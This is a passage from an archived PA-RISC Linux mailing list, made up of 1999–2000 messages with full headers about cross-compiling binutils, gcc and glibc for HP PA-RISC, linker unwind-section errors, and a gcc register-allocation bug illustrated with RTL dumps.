Round 2 will be wide kernel changes to start turning on the 32-bit
syscall path probably with a lot of consultation with jsm.

Round 3 will be signals.

I am not addressing hpux syscall-related data types at this time.

	-P


From - Thu Nov 08 21:13:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kailashnath V Rampure <kailasr@webcash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux]
Date: Wed, 25 Oct 2000 15:51:09 -0700
Lines: 73
Approved: news@gmane.org
Message-ID: <5.0.0.25.0.20001025154449.00a91080@mail.webcash.com>
References: <Your message of "Wed, 25 Oct 2000 14:00:42 PDT." <5.0.0.25.0.20001025135117.00a4beb0@mail.webcash.com>
 <5.0.0.25.0.20001025135117.00a4beb0@mail.webcash.com> <20001025213603.AB2E238137@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416619213 5034 80.91.229.3 (22 Nov 2014 01:20:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:13 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: kailasr@webcash.com  Wed Oct 25 16:53:05 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA12282
	for <parisc-linux@puffin.external.hp.com>; Wed, 25 Oct 2000 16:53:04 -0600
Original-Received: (qmail 27711 invoked by uid 15267); 25 Oct 2000 22:54:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27638 invoked from network); 25 Oct 2000 22:54:33 -0000
Original-Received: from mail.imedia.net (HELO galaxy-net.net) (209.247.154.4)
  by mailserv2.iuinc.com with SMTP; 25 Oct 2000 22:54:33 -0000
Original-Received: from test.webcash.com (adsl-63-202-198-74.dsl.snfc21.pacbell.net [63.202.198.74])
	by galaxy-net.net (8.10.2/8.9.3) with ESMTP id e9PMnDG71630;
	Wed, 25 Oct 2000 15:49:13 -0700 (PDT)
X-Sender: kailasr@mail.webcash.com
X-Mailer: QUALCOMM Windows Eudora Version 5.0
In-Reply-To: <20001025213603.AB2E238137@carmen.fc.hp.com>
Original-References: <Your message of "Wed, 25 Oct 2000 14:00:42 PDT." <5.0.0.25.0.20001025135117.00a4beb0@mail.webcash.com>
 <5.0.0.25.0.20001025135117.00a4beb0@mail.webcash.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8209


Thanks but now I have a problem in glibc while running configure. The 
problem is a follows:
/opt/hp/glibc/configure --host=hppa-linux --build=$MACH\
 >  --prefix=$DEST/hppa-linux --with-headers=~/source/linux/include\
 >  --disable-profile --without-cvs --disable-sanity-checks
loading cache ./config.cache
checking host system type... hppa-unknown-linux-gnu
checking sysdep dirs... sysdeps/hppa/elf sysdeps/unix/sysv/linux/hppa 
sysdeps/unix/sysv/linux sysdeps/gnu sysdeps/unix/common sysdeps/unix/mman 
sysdeps/unix/inet sysdeps/unix/sysv sysdeps/unix sysdeps/posix 
sysdeps/hppa/hppa1.1 sysdeps/wordsize-32 sysdeps/ieee754/flt-32 
sysdeps/ieee754/dbl-64 sysdeps/ieee754/ldbl-128 sysdeps/hppa/fpu 
sysdeps/hppa sysdeps/ieee754 sysdeps/generic/elf sysdeps/generic
checking for a BSD compatible install... /usr/bin/install -c
checking whether ln -s works... yes
checking for pwd... /bin/pwd
checking build system type... i386-pc-linux-gnu
checking for hppa-linux-gcc... hppa-linux-gcc
checking version of hppa-linux-gcc... 2.96, ok
checking for gnumake... no
checking for gmake... gmake
checking version of gmake... 3.77, bad
checking for gnumsgfmt... no
checking for gmsgfmt... no
checking for msgfmt... msgfmt
checking version of msgfmt... 0.10.35, ok
checking for makeinfo... makeinfo
checking version of makeinfo... 3.12, ok
checking for gsed... no
checking for sed... sed
checking version of sed... 3.02, ok
configure: error:
*** Some critical program is missing or too old.
*** Check the INSTALL file for required versions.

Regards
Kailas



At 03:36 PM 10/25/00 -0600, you wrote:

>Kailashnath V Rampure writes...
>
> > Hi,
> >
> > I am building Linux for HP PA-RISC on Redhat linux. When I give " make
> > LANGUAGES=c" for gcc I get the following error can any one help me. I need
> > to install Linux on HP A class server. The server does not have a cdrom 
> devic
> > e.
> >
>[snip]
> > make[2]: hppa-linux-ar: Command not found
>
>You need to add the bin directory of the newly built binutils to your 
>$PATH so
>it can find the tools it needs.
>
>Unless you have an interest in hacking binutils/gcc/glibc you're probably
>better off just grabbing prebuilt tools. See,
>
>http://www.thepuffingroup.com/parisc/software.html
>
>for more info.
>
>HTH,
>
>--
>Matt Taggart
>taggart@fc.hp.com


From - Thu Nov 08 21:13:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some things to do...
Date: Fri, 16 Apr 1999 16:51:19 -0400 (EDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990416165045.27211N-100000@devserv.devel.redhat.com>
References: <r2k8vcpbhv.fsf@happy.cygnus.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619213 5038 80.91.229.3 (22 Nov 2014 01:20:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:13 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Ulrich Drepper <drepper@cygnus.com>
Original-X-From: adevries@redhat.com  Fri Apr 16 16:51:48 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id QAA17627
	for <parisc-linux@sod.res.cmu.edu>; Fri, 16 Apr 1999 16:51:48 -0400
Original-Received: (qmail 31086 invoked by uid 15267); 16 Apr 1999 20:50:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31079 invoked from network); 16 Apr 1999 20:50:26 -0000
Original-Received: from devserv.devel.redhat.com (adevries@207.175.42.156)
  by mailserv2.iuinc.com with SMTP; 16 Apr 1999 20:50:26 -0000
Original-Received: from localhost (adevries@localhost)
	by devserv.devel.redhat.com (8.8.7/8.8.7) with SMTP id QAA25163;
	Fri, 16 Apr 1999 16:51:19 -0400
X-Authentication-Warning: devserv.devel.redhat.com: adevries owned process doing -bs
X-Sender: adevries@devserv.devel.redhat.com
In-Reply-To: <r2k8vcpbhv.fsf@happy.cygnus.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8210


On 16 Apr 1999, Ulrich Drepper wrote:
> > [name aliases...]
> > Comments on how to do this from Cygnus would be appreciated.
> 
> Talk to Ben Elliston <bje@cygnus.com> the autoconf maintainer.

I'll take the lead on this, since I've had the naming discussions with HP.

- Alex

-- 
Alex deVries <puffin@redhat.com>     
Red Hat Contrib Net maintainer          
Ottawa, Canada  
PA RISC Linux Porting Team




From - Thu Nov 08 21:13:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux]
Date: Wed, 25 Oct 2000 18:57:49 -0400 (EDT)
Lines: 11
Approved: news@gmane.org
Message-ID: <200010252257.SAA23964@hiauly1.hia.nrc.ca>
References: <5.0.0.25.0.20001025154449.00a91080@mail.webcash.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619213 5042 80.91.229.3 (22 Nov 2014 01:20:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:13 +0000 (UTC)
Cc: taggart@carmen.fc.hp.com, parisc-linux@thepuffingroup.com
To: kailasr@webcash.com (Kailashnath V Rampure)
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Oct 25 16:57:52 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA12655
	for <parisc-linux@puffin.external.hp.com>; Wed, 25 Oct 2000 16:57:51 -0600
Original-Received: (qmail 573 invoked by uid 15267); 25 Oct 2000 22:59:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 564 invoked from network); 25 Oct 2000 22:59:23 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 25 Oct 2000 22:59:23 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id SAA23964;
	Wed, 25 Oct 2000 18:57:49 -0400 (EDT)
In-Reply-To: <5.0.0.25.0.20001025154449.00a91080@mail.webcash.com> from "Kailashnath V Rampure" at Oct 25, 2000 03:51:09 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8211

> Thanks but now I have a problem in glibc while running configure. The 
...
> problem is a follows:
> checking version of gmake... 3.77, bad

Upgrade gmake to latest.

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:13:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kailashnath V Rampure <kailasr@webcash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] glibc problem
Date: Wed, 25 Oct 2000 17:45:04 -0700
Lines: 36
Approved: news@gmane.org
Message-ID: <5.0.0.25.0.20001025173830.00a64a30@mail.webcash.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416619214 5047 80.91.229.3 (22 Nov 2014 01:20:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:14 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: kailasr@webcash.com  Wed Oct 25 18:45:41 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA14505
	for <parisc-linux@puffin.external.hp.com>; Wed, 25 Oct 2000 18:45:41 -0600
Original-Received: (qmail 19521 invoked by uid 15267); 26 Oct 2000 00:47:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19499 invoked from network); 26 Oct 2000 00:47:12 -0000
Original-Received: from mail.imedia.net (HELO galaxy-net.net) (209.247.154.4)
  by mailserv2.iuinc.com with SMTP; 26 Oct 2000 00:47:12 -0000
Original-Received: from test.webcash.com (adsl-63-202-198-74.dsl.snfc21.pacbell.net [63.202.198.74])
	by galaxy-net.net (8.10.2/8.9.3) with ESMTP id e9Q0h7G81365
	for <parisc-linux@thepuffingroup.com>; Wed, 25 Oct 2000 17:43:07 -0700 (PDT)
X-Sender: kailasr@mail.webcash.com
X-Mailer: QUALCOMM Windows Eudora Version 5.0
Xref: news.gmane.org gmane.linux.ports.parisc:8212

Hi

I have upgraded to GNU Make version 3.79.1 but when i run make its is 
giving following error:

Regards
Kailas

hppa-linux-gcc -nostdlib -nostartfiles -r -o /opt/hp/build/glibc/csu/crt1.o 
/opt/hp/build/glibc/csu/start.o /opt/hp/build/glibc/csu/abi-note.o 
/opt/hp/build/glibc/csu/init.o
hppa-linux-gcc -nostdlib -nostartfiles -r -o 
/opt/hp/build/glibc/csu/gcrt1.o /opt/hp/build/glibc/csu/crt1.o 
/opt/hp/build/glibc/csu/gmon-start.o
cp /dev/null /opt/hp/build/glibc/csu/Mcrt1.c
hppa-linux-gcc -O -Wall -Winline -Wstrict-prototypes -Wwrite-strings 
-g      -I../include -I. -I/opt/hp/build/glibc/csu -I.. 
-I../libio  -I/opt/hp/build/glibc -I../sysdeps/hppa/elf 
-I../sysdeps/unix/sysv/linux/hppa -I../sysdeps/unix/sysv/linux 
-I../sysdeps/gnu -I../sysdeps/unix/common -I../sysdeps/unix/mman 
-I../sysdeps/unix/inet -I../sysdeps/unix/sysv -I../sysdeps/unix 
-I../sysdeps/posix -I../sysdeps/hppa/hppa1.1 -I../sysdeps/wordsize-32 
-I../sysdeps/ieee754/flt-32 -I../sysdeps/ieee754/dbl-64 
-I../sysdeps/ieee754/ldbl-128 -I../sysdeps/hppa/fpu -I../sysdeps/hppa 
-I../sysdeps/ieee754 -I../sysdeps/generic/elf 
-I../sysdeps/generic  -nostdinc -isystem 
/opt/hpboot/lib/gcc-lib/hppa-linux/2.96/include -isystem 
/opt/hp/linux/include  -include 
../include/libc-symbols.h     -DHAVE_INITFINI  -c 
/opt/hp/build/glibc/csu/Mcrt1.c -o /opt/hp/build/glibc/csu/Mcrt1.o
make[2]: *** [/opt/hp/build/glibc/csu/Mcrt1.o] Error 1
make[2]: Leaving directory `/opt/hp/glibc/csu'
make[1]: *** [csu/subdir_lib] Error 2
make[1]: Leaving directory `/opt/hp/glibc'
make: *** [all] Error 2


From - Thu Nov 08 21:13:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: xc-20001025.tar.gz
Date: Thu, 26 Oct 2000 11:55:32 +1100 (EST)
Lines: 17
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0010261108450.31251-100000@front.linuxcare.com.au>
References: <200010252231.PAA21269@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619214 5050 80.91.229.3 (22 Nov 2014 01:20:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:14 +0000 (UTC)
Cc: Matt Taggart <taggart@fc.hp.com>, parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: alan@linuxcare.com.au  Wed Oct 25 19:10:00 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA15126
	for <parisc-linux@puffin.external.hp.com>; Wed, 25 Oct 2000 19:09:59 -0600
Original-Received: (qmail 13399 invoked by uid 15267); 26 Oct 2000 01:08:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1435 invoked from network); 26 Oct 2000 00:59:17 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 26 Oct 2000 00:59:17 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id LAA01306;
	Thu, 26 Oct 2000 11:55:32 +1100
In-Reply-To: <200010252231.PAA21269@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8213

On Wed, 25 Oct 2000, Grant Grundler wrote:

> hppa-linux-ld dies with no error msg.
> Make complains with "make: *** [vmlinux] Error 1".
> 
> I reverted to the previous toolchain, 20001016, and make clean/vmlinux
> produced a vmlinux. Something is broken.

It sure is.  vmlinux.lds is putting .PARISC.unwind into the .text section
which badly confused the linker, and renders the unwind data useless.  The
unwind sections need to be put into a .PARISC.unwind output section.
Which is not an excuse for the linker bombing of course...  Fixing it.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc problem
Date: Thu, 26 Oct 2000 14:27:44 +1100 (EST)
Lines: 28
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0010261402360.31251-100000@front.linuxcare.com.au>
References: <5.0.0.25.0.20001025173830.00a64a30@mail.webcash.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619214 5051 80.91.229.3 (22 Nov 2014 01:20:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:14 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Kailashnath V Rampure <kailasr@webcash.com>
Original-X-From: alan@linuxcare.com.au  Wed Oct 25 21:26:20 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA16234
	for <parisc-linux@puffin.external.hp.com>; Wed, 25 Oct 2000 21:26:20 -0600
Original-Received: (qmail 21004 invoked by uid 15267); 26 Oct 2000 03:27:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20978 invoked from network); 26 Oct 2000 03:27:51 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 26 Oct 2000 03:27:51 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id OAA05559;
	Thu, 26 Oct 2000 14:27:44 +1100
In-Reply-To: <5.0.0.25.0.20001025173830.00a64a30@mail.webcash.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8214

On Wed, 25 Oct 2000, Kailashnath V Rampure wrote:

> Hi
> 
> I have upgraded to GNU Make version 3.79.1 but when i run make its is 
> giving following error:
> 
> Regards
> Kailas
> 
> hppa-linux-gcc -nostdlib -nostartfiles -r -o /opt/hp/build/glibc/csu/crt1.o 
> /opt/hp/build/glibc/csu/start.o /opt/hp/build/glibc/csu/abi-note.o 
> /opt/hp/build/glibc/csu/init.o
> hppa-linux-gcc -nostdlib -nostartfiles -r -o 
> /opt/hp/build/glibc/csu/gcrt1.o /opt/hp/build/glibc/csu/crt1.o 
> /opt/hp/build/glibc/csu/gmon-start.o
> cp /dev/null /opt/hp/build/glibc/csu/Mcrt1.c

Hmm, my make.log shows a difference here.  I have echo > ...Mcrt1.c, which
creates a 1 byte dummy file rather than the zero byte file you get from cp
/dev/null.  Bombing on an empty input file is a known gcc bug for the
snapshot we took of the Cygnus development gcc sources.

I suggest you update your glibc sources.

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hppa64-linux gcc bug
Date: Thu, 26 Oct 2000 14:36:00 +1100 (EST)
Lines: 9
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0010261434150.31251-100000@front.linuxcare.com.au>
References: <200010251951.MAA21150@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619215 5054 80.91.229.3 (22 Nov 2014 01:20:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:15 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, opensource@cup.hp.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: alan@linuxcare.com.au  Wed Oct 25 21:38:05 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA16807
	for <parisc-linux@puffin.external.hp.com>; Wed, 25 Oct 2000 21:38:04 -0600
Original-Received: (qmail 30937 invoked by uid 15267); 26 Oct 2000 03:39:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30912 invoked from network); 26 Oct 2000 03:39:36 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 26 Oct 2000 03:39:36 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id OAA05736;
	Thu, 26 Oct 2000 14:36:00 +1100
In-Reply-To: <200010251951.MAA21150@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8215

On Wed, 25 Oct 2000, Grant Grundler wrote:

> The following is available via anon ftp from hpisp747:pub/heisenbug/

Can you turn this into a real URL please?

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hppa64-linux gcc bug
Date: Wed, 25 Oct 2000 21:04:34 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <200010260404.VAA21509@milano.cup.hp.com>
References: <Pine.LNX.4.21.0010261434150.31251-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619215 5056 80.91.229.3 (22 Nov 2014 01:20:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:15 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, opensource@cup.hp.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: grundler@cup.hp.com  Wed Oct 25 21:58:22 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA17429
	for <parisc-linux@puffin.external.hp.com>; Wed, 25 Oct 2000 21:58:21 -0600
Original-Received: (qmail 15421 invoked by uid 15267); 26 Oct 2000 03:59:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15411 invoked from network); 26 Oct 2000 03:59:54 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 26 Oct 2000 03:59:54 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id BD90B2566; Wed, 25 Oct 2000 20:59:52 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id VAA21509;
	Wed, 25 Oct 2000 21:04:35 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 26 Oct 2000 14:36:00 PDT."
             <Pine.LNX.4.21.0010261434150.31251-100000@front.linuxcare.com.au> 
Xref: news.gmane.org gmane.linux.ports.parisc:8216

Alan Modra wrote:
> On Wed, 25 Oct 2000, Grant Grundler wrote:
> 
> > The following is available via anon ftp from hpisp747:pub/heisenbug/
> 
> Can you turn this into a real URL please?

Alan (and others),
My bad...I had in fact scp'd the files to
	ftp://puffin.external.hp.com/pub/parisc/debug/

I just blanked out and forgot to list that as well in the email.

aplogies,
grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hppa64-linux gcc bug
Date: Thu, 26 Oct 2000 19:11:13 +1100 (EST)
Lines: 1132
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0010261812440.31251-101000@front.linuxcare.com.au>
References: <200010251951.MAA21150@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="499855707-807005805-972547438=:31251"
X-Trace: ger.gmane.org 1416619215 5057 80.91.229.3 (22 Nov 2014 01:20:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:15 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, opensource@cup.hp.com,
        gcc-bugs@gcc.gnu.org
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: alan@linuxcare.com.au  Thu Oct 26 02:13:24 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA28849
	for <parisc-linux@puffin.external.hp.com>; Thu, 26 Oct 2000 02:13:24 -0600
Original-Received: (qmail 22885 invoked by uid 15267); 26 Oct 2000 08:14:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22845 invoked from network); 26 Oct 2000 08:14:50 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 26 Oct 2000 08:14:50 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id TAA13123;
	Thu, 26 Oct 2000 19:11:13 +1100
In-Reply-To: <200010251951.MAA21150@milano.cup.hp.com>
Content-ID: <Pine.LNX.4.21.0010261906220.31251@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:8217

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

--499855707-807005805-972547438=:31251
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Content-ID: <Pine.LNX.4.21.0010261906221.31251@front.linuxcare.com.au>

On Wed, 25 Oct 2000, Grant Grundler wrote:

> Though this seems like a "generic" hppa bug to me, I doubt it's
> in the currently published hppa2.0-hpux toolchain.
> 
> [ Note : hppa64-linux tool chain isn't fully merged up with the

The bug manifests itself on today's CVS gcc from sourceware.
.../configure --host=i686-linux --target=hppa64-linux

Maybe one of the gcc maintainers can clue me in to where I should be
looking for a problem from the following.

Extract from generic.c.17.sched

[snip, nothing changes reg:DI 29 (ARG_POINTER_REGNUM)]

(insn 4 23 9 (set (reg:DI 66)
        (plus:DI (reg:DI 29 %r29)
            (const_int -64 [0xffffffc0]))) 166 {fixuns_truncdfdi2+2} (nil)
    (nil))

[snip, nothing changes reg:DI 66, but reg:DI 29 gets set before a number
 of function calls, including this one. ]

(insn 199 203 204 (set (reg:DI 26 %r26)
        (mem/f:DI (plus:DI (reg:DI 66)
                (const_int 16 [0x10])) 0)) 123 {movstrsi_internal+11} (insn_list 194 (nil))
    (expr_list:REG_DEAD (reg:DI 66)
        (nil)))

(call_insn 204 199 206 (parallel[ 
            (set (reg:DI 28 %r28)
                (call (mem:SI (symbol_ref/v:DI ("@proc_register")) 0)
                    (const_int 64 [0x40])))
            (clobber (reg:SI 2 %r2))
            (use (const_int 0 [0x0]))
        ] ) 272 {call_value_internal_symref} (insn_list 194 (insn_list 203 (insn_list 199 (insn_list 201 (nil)))))
    (expr_list:REG_DEAD (reg:DI 26 %r26)
        (expr_list:REG_DEAD (reg:DI 25 %r25)
            (expr_list:REG_DEAD (reg:DI 27 %r27)
                (expr_list:REG_DEAD (reg:DI 29 %r29)
                    (expr_list:REG_UNUSED (reg:DI 28 %r28)
                        (expr_list:REG_UNUSED (reg:SI 2 %r2)
                            (expr_list:REG_EH_REGION (const_int 0 [0x0])
                                (nil))))))))
    (expr_list (use (reg:DI 29 %r29))
        (expr_list (use (reg:DI 4 %r4))
            (expr_list (use (reg:DI 27 %r27))
                (expr_list (use (reg:DI 25 %r25))
                    (expr_list (use (reg:DI 26 %r26))
                        (nil)))))))


Now the corresponding rtl from generic.c.18.lreg

[snip a number of places like the following insn where reg:DI 29
 (ARG_POINTER_REGNUM) is set for function calls.  How is it that
 gcc doesn't see this register has been trashed?]

(insn 203 201 239 (set (reg:DI 29 %r29)
        (plus:DI (reg:DI 30 %r30)
            (const_int -16 [0xfffffff0]))) 166 {fixuns_truncdfdi2+2} (nil)
    (nil))

(insn 239 203 199 (set (reg:DI 66)
        (plus:DI (reg:DI 29 %r29)
            (const_int -64 [0xffffffc0]))) 166 {fixuns_truncdfdi2+2} (nil)
    (expr_list:REG_EQUIV (plus:DI (reg:DI 29 %r29)
            (const_int -64 [0xffffffc0]))
        (nil)))

(insn 199 239 204 (set (reg:DI 26 %r26)
        (mem/f:DI (plus:DI (reg:DI 66)
